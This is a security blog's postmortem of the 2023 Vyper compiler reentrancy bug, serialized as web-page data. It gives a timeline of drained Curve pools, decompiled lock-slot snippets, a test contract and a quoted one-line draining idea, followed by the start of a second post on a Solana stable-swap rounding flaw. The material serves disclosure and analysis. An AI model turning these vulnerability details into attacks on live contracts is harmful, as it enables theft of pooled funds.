[{"data":1,"prerenderedAt":163444},["ShallowReactive",2],{"blog-/blog/2023-08-01-vyper-timeline":3,"featured-blog-posts":837},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":11,"date":14,"isFeatured":15,"onBlogPage":15,"tags":16,"body":19,"_type":831,"_id":832,"_source":833,"_file":834,"_stem":835,"_extension":836},"/blog/2023-08-01-vyper-timeline","blog",false,"","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.","robert",{"src":12,"height":13,"width":13},"/posts/vyper-timeline/header.jpg",1024,"2023-08-01",true,[17,18],"vyper","compiler",{"type":20,"children":21,"toc":822},"root",[22,30,35,40,47,52,74,84,89,98,108,127,221,231,405,410,415,425,433,438,443,457,462,480,497,516,526,539,544,557,562,567,577,604,614,649,655,665,672,677,682,687,693,698,712,717,722,727,733,738,751,778,783,816],{"type":23,"tag":24,"props":25,"children":26},"element","p",{},[27],{"type":28,"value":29},"text","\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":24,"props":31,"children":32},{},[33],{"type":28,"value":34},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":24,"props":36,"children":37},{},[38],{"type":28,"value":39},"Here's how it all happened.",{"type":23,"tag":41,"props":42,"children":44},"h2",{"id":43},"timeline",[45],{"type":28,"value":46},"Timeline",{"type":23,"tag":24,"props":48,"children":49},{},[50],{"type":28,"value":51},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":24,"props":53,"children":54},{},[55,61,63,72],{"type":23,"tag":56,"props":57,"children":58},"strong",{},[59],{"type":28,"value":60},"13:10 UTC",{"type":28,"value":62}," pETH/ETH was ",{"type":23,"tag":64,"props":65,"children":69},"a",{"href":66,"rel":67},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[68],"nofollow",[70],{"type":28,"value":71},"drained of $11M",{"type":28,"value":73},".",{"type":23,"tag":24,"props":75,"children":76},{},[77,82],{"type":23,"tag":56,"props":78,"children":79},{},[80],{"type":28,"value":81},"13:19 UTC",{"type":28,"value":83}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":24,"props":85,"children":86},{},[87],{"type":28,"value":88},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":90,"props":91,"children":92},"blockquote",{},[93],{"type":23,"tag":24,"props":94,"children":95},{},[96],{"type":28,"value":97},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":24,"props":99,"children":100},{},[101,106],{"type":23,"tag":56,"props":102,"children":103},{},[104],{"type":28,"value":105},"14:01 UTC",{"type":28,"value":107}," A warroom was formed around this comment.",{"type":23,"tag":24,"props":109,"children":110},{},[111,116,118,125],{"type":23,"tag":56,"props":112,"children":113},{},[114],{"type":28,"value":115},"14:07 UTC",{"type":28,"value":117}," We decompiled the JPEGd contract ",{"type":23,"tag":64,"props":119,"children":122},{"href":120,"rel":121},"https://ethervm.io/decompile",[68],[123],{"type":28,"value":124},"with our favorite decompiler",{"type":28,"value":126}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":128,"props":129,"children":133},"pre",{"className":130,"code":131,"language":132,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[134],{"type":23,"tag":135,"props":136,"children":137},"code",{"__ignoreMap":7},[138,149,158,167,176,185,194,203,212],{"type":23,"tag":139,"props":140,"children":143},"span",{"class":141,"line":142},"line",1,[144],{"type":23,"tag":139,"props":145,"children":146},{},[147],{"type":28,"value":148},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":139,"props":150,"children":152},{"class":141,"line":151},2,[153],{"type":23,"tag":139,"props":154,"children":155},{},[156],{"type":28,"value":157},"label_0057:\n",{"type":23,"tag":139,"props":159,"children":161},{"class":141,"line":160},3,[162],{"type":23,"tag":139,"props":163,"children":164},{},[165],{"type":28,"value":166},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":139,"props":168,"children":170},{"class":141,"line":169},4,[171],{"type":23,"tag":139,"props":172,"children":173},{},[174],{"type":28,"value":175},"    storage[0x00] = 0x01;\n",{"type":23,"tag":139,"props":177,"children":179},{"class":141,"line":178},5,[180],{"type":23,"tag":139,"props":181,"children":182},{"emptyLinePlaceholder":15},[183],{"type":28,"value":184},"\n",{"type":23,"tag":139,"props":186,"children":188},{"class":141,"line":187},6,[189],{"type":23,"tag":139,"props":190,"children":191},{},[192],{"type":28,"value":193},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":139,"props":195,"children":197},{"class":141,"line":196},7,[198],{"type":23,"tag":139,"props":199,"children":200},{},[201],{"type":28,"value":202},"label_1AF3:\n",{"type":23,"tag":139,"props":204,"children":206},{"class":141,"line":205},8,[207],{"type":23,"tag":139,"props":208,"children":209},{},[210],{"type":28,"value":211},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":139,"props":213,"children":215},{"class":141,"line":214},9,[216],{"type":23,"tag":139,"props":217,"children":218},{},[219],{"type":28,"value":220},"    storage[0x02] = 0x01;\n",{"type":23,"tag":24,"props":222,"children":223},{},[224,229],{"type":23,"tag":56,"props":225,"children":226},{},[227],{"type":28,"value":228},"14:27 UTC",{"type":28,"value":230}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":128,"props":232,"children":236},{"className":233,"code":234,"language":235,"meta":7,"style":7},"language-python shiki shiki-themes slack-dark","@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n","python",[237],{"type":23,"tag":135,"props":238,"children":239},{"__ignoreMap":7},[240,249,274,314,328,335,342,361,393],{"type":23,"tag":139,"props":241,"children":242},{"class":141,"line":142},[243],{"type":23,"tag":139,"props":244,"children":246},{"style":245},"--shiki-default:#DCDCAA",[247],{"type":28,"value":248},"@external\n",{"type":23,"tag":139,"props":250,"children":251},{"class":141,"line":151},[252,257,263,269],{"type":23,"tag":139,"props":253,"children":254},{"style":245},[255],{"type":28,"value":256},"@nonreentrant",{"type":23,"tag":139,"props":258,"children":260},{"style":259},"--shiki-default:#E6E6E6",[261],{"type":28,"value":262},"(",{"type":23,"tag":139,"props":264,"children":266},{"style":265},"--shiki-default:#CE9178",[267],{"type":28,"value":268},"\"lock\"",{"type":23,"tag":139,"props":270,"children":271},{"style":259},[272],{"type":28,"value":273},")\n",{"type":23,"tag":139,"props":275,"children":276},{"class":141,"line":160},[277,283,288,292,298,303,309],{"type":23,"tag":139,"props":278,"children":280},{"style":279},"--shiki-default:#569CD6",[281],{"type":28,"value":282},"def",{"type":23,"tag":139,"props":284,"children":285},{"style":245},[286],{"type":28,"value":287}," test",{"type":23,"tag":139,"props":289,"children":290},{"style":259},[291],{"type":28,"value":262},{"type":23,"tag":139,"props":293,"children":295},{"style":294},"--shiki-default:#9CDCFE",[296],{"type":28,"value":297},"addr",{"type":23,"tag":139,"props":299,"children":300},{"style":259},[301],{"type":28,"value":302},": address) -> ",{"type":23,"tag":139,"props":304,"children":306},{"style":305},"--shiki-default:#4EC9B0",[307],{"type":28,"value":308},"bool",{"type":23,"tag":139,"props":310,"children":311},{"style":259},[312],{"type":28,"value":313},":\n",{"type":23,"tag":139,"props":315,"children":316},{"class":141,"line":169},[317,323],{"type":23,"tag":139,"props":318,"children":320},{"style":319},"--shiki-default:#C586C0",[321],{"type":28,"value":322},"    return",{"type":23,"tag":139,"props":324,"children":325},{"style":279},[326],{"type":28,"value":327}," True\n",{"type":23,"tag":139,"props":329,"children":330},{"class":141,"line":178},[331],{"type":23,"tag":139,"props":332,"children":333},{"emptyLinePlaceholder":15},[334],{"type":28,"value":184},{"type":23,"tag":139,"props":336,"children":337},{"class":141,"line":187},[338],{"type":23,"tag":139,"props":339,"children":340},{"style":245},[341],{"type":28,"value":248},{"type":23,"tag":139,"props":343,"children":344},{"class":141,"line":196},[345,349,353,357],{"type":23,"tag":139,"props":346,"children":347},{"style":245},[348],{"type":28,"value":256},{"type":23,"tag":139,"props":350,"children":351},{"style":259},[352],{"type":28,"value":262},{"type":23,"tag":139,"props":354,"children":355},{"style":265},[356],{"type":28,"value":268},{"type":23,"tag":139,"props":358,"children":359},{"style":259},[360],{"type":28,"value":273},{"type":23,"tag":139,"props":362,"children":363},{"class":141,"line":205},[364,368,373,377,381,385,389],{"type":23,"tag":139,"props":365,"children":366},{"style":279},[367],{"type":28,"value":282},{"type":23,"tag":139,"props":369,"children":370},{"style":245},[371],{"type":28,"value":372}," test2",{"type":23,"tag":139,"props":374,"children":375},{"style":259},[376],{"type":28,"value":262},{"type":23,"tag":139,"props":378,"children":379},{"style":294},[380],{"type":28,"value":297},{"type":23,"tag":139,"props":382,"children":383},{"style":259},[384],{"type":28,"value":302},{"type":23,"tag":139,"props":386,"children":387},{"style":305},[388],{"type":28,"value":308},{"type":23,"tag":139,"props":390,"children":391},{"style":259},[392],{"type":28,"value":313},{"type":23,"tag":139,"props":394,"children":395},{"class":141,"line":214},[396,400],{"type":23,"tag":139,"props":397,"children":398},{"style":319},[399],{"type":28,"value":322},{"type":23,"tag":139,"props":401,"children":402},{"style":279},[403],{"type":28,"value":404}," False\n",{"type":23,"tag":24,"props":406,"children":407},{},[408],{"type":28,"value":409},"This was not just another reentrancy bug.",{"type":23,"tag":24,"props":411,"children":412},{},[413],{"type":28,"value":414},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":24,"props":416,"children":417},{},[418,423],{"type":23,"tag":56,"props":419,"children":420},{},[421],{"type":28,"value":422},"14:37 UTC",{"type":28,"value":424}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":24,"props":426,"children":427},{},[428],{"type":23,"tag":429,"props":430,"children":432},"img",{"alt":7,"src":431},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":24,"props":434,"children":435},{},[436],{"type":28,"value":437},"It was a race with the hackers.",{"type":23,"tag":24,"props":439,"children":440},{},[441],{"type":28,"value":442},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":90,"props":444,"children":445},{},[446],{"type":23,"tag":24,"props":447,"children":448},{},[449,451],{"type":28,"value":450},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":64,"props":452,"children":455},{"href":453,"rel":454},"https://twitter.com/hexagate_/status/1685677801813217280",[68],[456],{"type":28,"value":453},{"type":23,"tag":24,"props":458,"children":459},{},[460],{"type":28,"value":461},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":24,"props":463,"children":464},{},[465,470,472,479],{"type":23,"tag":56,"props":466,"children":467},{},[468],{"type":28,"value":469},"14:50 UTC",{"type":28,"value":471}," ",{"type":23,"tag":64,"props":473,"children":476},{"href":474,"rel":475},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[68],[477],{"type":28,"value":478},"msETH/ETH was drained",{"type":28,"value":73},{"type":23,"tag":24,"props":481,"children":482},{},[483,488,489,496],{"type":23,"tag":56,"props":484,"children":485},{},[486],{"type":28,"value":487},"15:34 UTC",{"type":28,"value":471},{"type":23,"tag":64,"props":490,"children":493},{"href":491,"rel":492},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[68],[494],{"type":28,"value":495},"alETH/ETH was drained",{"type":28,"value":73},{"type":23,"tag":24,"props":498,"children":499},{},[500,505,507,514],{"type":23,"tag":56,"props":501,"children":502},{},[503],{"type":28,"value":504},"15:43 UTC",{"type":28,"value":506}," We identified that ",{"type":23,"tag":64,"props":508,"children":511},{"href":509,"rel":510},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[68],[512],{"type":28,"value":513},"CRV/ETH was vulnerable",{"type":28,"value":515},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":24,"props":517,"children":518},{},[519,524],{"type":23,"tag":56,"props":520,"children":521},{},[522],{"type":28,"value":523},"16:11 UTC",{"type":28,"value":525}," We began working on a whitehat exploit.",{"type":23,"tag":24,"props":527,"children":528},{},[529,531,538],{"type":28,"value":530},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":64,"props":532,"children":535},{"href":533,"rel":534},"https://twitter.com/vyperlang/status/1685692973051498497",[68],[536],{"type":28,"value":537},"public statement on affected versions",{"type":28,"value":73},{"type":23,"tag":24,"props":540,"children":541},{},[542],{"type":28,"value":543},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":24,"props":545,"children":546},{},[547,549,556],{"type":28,"value":548},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":64,"props":550,"children":553},{"href":551,"rel":552},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[68],[554],{"type":28,"value":555},"somebody else stole the funds",{"type":28,"value":73},{"type":23,"tag":24,"props":558,"children":559},{},[560],{"type":28,"value":561},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":24,"props":563,"children":564},{},[565],{"type":28,"value":566},"Nevertheless, there was more ground to cover.",{"type":23,"tag":24,"props":568,"children":569},{},[570,575],{"type":23,"tag":56,"props":571,"children":572},{},[573],{"type":28,"value":574},"21:26 UTC",{"type":28,"value":576}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":90,"props":578,"children":579},{},[580],{"type":23,"tag":24,"props":581,"children":582},{},[583,585,589,591,594,596,599,601],{"type":28,"value":584},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":586,"props":587,"children":588},"br",{},[],{"type":28,"value":590},"\nyou can then update admin fee ",{"type":23,"tag":586,"props":592,"children":593},{},[],{"type":28,"value":595},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":586,"props":597,"children":598},{},[],{"type":28,"value":600},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":586,"props":602,"children":603},{},[],{"type":23,"tag":24,"props":605,"children":606},{},[607,612],{"type":23,"tag":56,"props":608,"children":609},{},[610],{"type":28,"value":611},"21:52 UTC",{"type":28,"value":613}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":24,"props":615,"children":616},{},[617,619,626,628,635,648],{"type":28,"value":618},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":64,"props":620,"children":623},{"href":621,"rel":622},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[68],[624],{"type":28,"value":625},"CRV admin fee bot",{"type":28,"value":627}," had claimed fees and ",{"type":23,"tag":64,"props":629,"children":632},{"href":630,"rel":631},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[68],[633],{"type":28,"value":634},"the pool was drained",{"type":23,"tag":636,"props":637,"children":638},"sup",{},[639],{"type":23,"tag":64,"props":640,"children":645},{"href":641,"ariaDescribedBy":642,"dataFootnoteRef":7,"id":644},"#user-content-fn-1",[643],"footnote-label","user-content-fnref-1",[646],{"type":28,"value":647},"1",{"type":28,"value":73},{"type":23,"tag":41,"props":650,"children":652},{"id":651},"blame",[653],{"type":28,"value":654},"Blame",{"type":23,"tag":24,"props":656,"children":657},{},[658,663],{"type":23,"tag":659,"props":660,"children":661},"em",{},[662],{"type":28,"value":654},{"type":28,"value":664}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":666,"props":667,"children":669},"h3",{"id":668},"races",[670],{"type":28,"value":671},"Races",{"type":23,"tag":24,"props":673,"children":674},{},[675],{"type":28,"value":676},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":24,"props":678,"children":679},{},[680],{"type":28,"value":681},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":24,"props":683,"children":684},{},[685],{"type":28,"value":686},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":666,"props":688,"children":690},{"id":689},"information-leakage",[691],{"type":28,"value":692},"Information Leakage",{"type":23,"tag":24,"props":694,"children":695},{},[696],{"type":28,"value":697},"I was both an auditor and a whitehat.",{"type":23,"tag":24,"props":699,"children":700},{},[701,703,710],{"type":28,"value":702},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":64,"props":704,"children":707},{"href":705,"rel":706},"https://twitter.com/osec_io/status/1579969927020412929",[68],[708],{"type":28,"value":709},"by publishing the \"scoop\"",{"type":28,"value":711}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":24,"props":713,"children":714},{},[715],{"type":28,"value":716},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":24,"props":718,"children":719},{},[720],{"type":28,"value":721},"Half an hour more could have saved $18M.",{"type":23,"tag":24,"props":723,"children":724},{},[725],{"type":28,"value":726},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":41,"props":728,"children":730},{"id":729},"next-steps",[731],{"type":28,"value":732},"Next Steps",{"type":23,"tag":24,"props":734,"children":735},{},[736],{"type":28,"value":737},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":24,"props":739,"children":740},{},[741,743,750],{"type":28,"value":742},"It's important to note that this bug ",{"type":23,"tag":64,"props":744,"children":747},{"href":745,"rel":746},"https://twitter.com/real_philogy/status/1685948253139857409",[68],[748],{"type":28,"value":749},"was patched since November 2021",{"type":28,"value":73},{"type":23,"tag":90,"props":752,"children":753},{},[754],{"type":23,"tag":24,"props":755,"children":756},{},[757,759,764,766,769,771,776],{"type":28,"value":758},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":659,"props":760,"children":761},{},[762],{"type":28,"value":763},"processes",{"type":28,"value":765},". ",{"type":23,"tag":586,"props":767,"children":768},{},[],{"type":28,"value":770},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":23,"tag":659,"props":772,"children":773},{},[774],{"type":28,"value":775},"was",{"type":28,"value":777}," fixed.",{"type":23,"tag":24,"props":779,"children":780},{},[781],{"type":28,"value":782},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":784,"props":785,"children":788},"section",{"className":786,"dataFootnotes":7},[787],"footnotes",[789,796],{"type":23,"tag":41,"props":790,"children":793},{"className":791,"id":643},[792],"sr-only",[794],{"type":28,"value":795},"Footnotes",{"type":23,"tag":797,"props":798,"children":799},"ol",{},[800],{"type":23,"tag":801,"props":802,"children":804},"li",{"id":803},"user-content-fn-1",[805,807],{"type":28,"value":806},"Thankfully, these funds were later returned. ",{"type":23,"tag":64,"props":808,"children":813},{"href":809,"ariaLabel":810,"className":811,"dataFootnoteBackref":7},"#user-content-fnref-1","Back to reference 1",[812],"data-footnote-backref",[814],{"type":28,"value":815},"↩",{"type":23,"tag":817,"props":818,"children":819},"style",{},[820],{"type":28,"value":821},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":151,"depth":151,"links":823},[824,825,829,830],{"id":43,"depth":151,"text":46},{"id":651,"depth":151,"text":654,"children":826},[827,828],{"id":668,"depth":160,"text":671},{"id":689,"depth":160,"text":692},{"id":729,"depth":151,"text":732},{"id":643,"depth":151,"text":795},"markdown","content:blog:2023-08-01-vyper-timeline.md","content","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline","md",[838,3382,3718,7267,11627,16752,27025,28451,29082,33311,38338,43770,44927,48418,58813,65542,67381,69091,73756,87655,90376,95165,97605,99950,105736,121556,129856,139780,145058,154451,156788],{"_path":839,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":840,"description":841,"image":842,"date":846,"isFeatured":15,"tags":847,"onBlogPage":15,"body":850,"_type":831,"_id":3379,"_source":833,"_file":3380,"_stem":3381,"_extension":836},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":843,"width":844,"height":845},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[848,849],"solana","report",{"type":20,"children":851,"toc":3373},[852,866,871,876,884,890,895,900,908,916,921,926,934,939,944,1336,1346,1351,1898,1903,1911,1918,1924,1929,1934,1939,1946,1958,1963,1975,2214,2219,2224,2230,2235,2240,2286,2291,2299,2304,2309,2314,2459,2472,2589,2603,2611,2625,2633,2646,2651,2663,2671,2693,3311,3317,3322,3334,3347,3354,3359,3364,3369],{"type":23,"tag":24,"props":853,"children":854},{},[855,857,864],{"type":28,"value":856},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":64,"props":858,"children":861},{"href":859,"rel":860},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[68],[862],{"type":28,"value":863},"spl-token-swap",{"type":28,"value":865},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":24,"props":867,"children":868},{},[869],{"type":28,"value":870},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":24,"props":872,"children":873},{},[874],{"type":28,"value":875},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":24,"props":877,"children":878},{},[879],{"type":23,"tag":659,"props":880,"children":881},{},[882],{"type":28,"value":883},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":41,"props":885,"children":887},{"id":886},"discovery",[888],{"type":28,"value":889},"Discovery",{"type":23,"tag":24,"props":891,"children":892},{},[893],{"type":28,"value":894},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":24,"props":896,"children":897},{},[898],{"type":28,"value":899},"After a while, he noticed something weird..",{"type":23,"tag":90,"props":901,"children":902},{},[903],{"type":23,"tag":24,"props":904,"children":905},{},[906],{"type":28,"value":907},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":128,"props":909,"children":911},{"code":910},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[912],{"type":23,"tag":135,"props":913,"children":914},{"__ignoreMap":7},[915],{"type":28,"value":910},{"type":23,"tag":24,"props":917,"children":918},{},[919],{"type":28,"value":920},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":24,"props":922,"children":923},{},[924],{"type":28,"value":925},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":128,"props":927,"children":929},{"code":928},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[930],{"type":23,"tag":135,"props":931,"children":932},{"__ignoreMap":7},[933],{"type":28,"value":928},{"type":23,"tag":24,"props":935,"children":936},{},[937],{"type":28,"value":938},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":24,"props":940,"children":941},{},[942],{"type":28,"value":943},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":128,"props":945,"children":949},{"code":946,"language":947,"meta":7,"className":948,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[950],{"type":23,"tag":135,"props":951,"children":952},{"__ignoreMap":7},[953,962,996,1030,1137,1242,1269,1281,1298,1318,1327],{"type":23,"tag":139,"props":954,"children":955},{"class":141,"line":142},[956],{"type":23,"tag":139,"props":957,"children":959},{"style":958},"--shiki-default:#6A9955",[960],{"type":28,"value":961},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":139,"props":963,"children":964},{"class":141,"line":151},[965,970,975,980,986,991],{"type":23,"tag":139,"props":966,"children":967},{"style":279},[968],{"type":28,"value":969},"    let",{"type":23,"tag":139,"props":971,"children":972},{"style":279},[973],{"type":28,"value":974}," mut",{"type":23,"tag":139,"props":976,"children":977},{"style":294},[978],{"type":28,"value":979}," y",{"type":23,"tag":139,"props":981,"children":983},{"style":982},"--shiki-default:#D4D4D4",[984],{"type":28,"value":985}," =",{"type":23,"tag":139,"props":987,"children":988},{"style":294},[989],{"type":28,"value":990}," d_val",{"type":23,"tag":139,"props":992,"children":993},{"style":259},[994],{"type":28,"value":995},";\n",{"type":23,"tag":139,"props":997,"children":998},{"class":141,"line":160},[999,1004,1009,1014,1020,1025],{"type":23,"tag":139,"props":1000,"children":1001},{"style":319},[1002],{"type":28,"value":1003},"    for",{"type":23,"tag":139,"props":1005,"children":1006},{"style":294},[1007],{"type":28,"value":1008}," _",{"type":23,"tag":139,"props":1010,"children":1011},{"style":279},[1012],{"type":28,"value":1013}," in",{"type":23,"tag":139,"props":1015,"children":1017},{"style":1016},"--shiki-default:#B5CEA8",[1018],{"type":28,"value":1019}," 0",{"type":23,"tag":139,"props":1021,"children":1022},{"style":982},[1023],{"type":28,"value":1024},"..",{"type":23,"tag":139,"props":1026,"children":1027},{"style":259},[1028],{"type":28,"value":1029},"ITERATIONS {\n",{"type":23,"tag":139,"props":1031,"children":1032},{"class":141,"line":169},[1033,1038,1043,1048,1053,1058,1063,1068,1072,1077,1081,1086,1091,1095,1100,1105,1110,1115,1119,1124,1128,1133],{"type":23,"tag":139,"props":1034,"children":1035},{"style":279},[1036],{"type":28,"value":1037},"        let",{"type":23,"tag":139,"props":1039,"children":1040},{"style":259},[1041],{"type":28,"value":1042}," (",{"type":23,"tag":139,"props":1044,"children":1045},{"style":294},[1046],{"type":28,"value":1047},"y_new",{"type":23,"tag":139,"props":1049,"children":1050},{"style":259},[1051],{"type":28,"value":1052},", ",{"type":23,"tag":139,"props":1054,"children":1055},{"style":294},[1056],{"type":28,"value":1057},"_",{"type":23,"tag":139,"props":1059,"children":1060},{"style":259},[1061],{"type":28,"value":1062},") 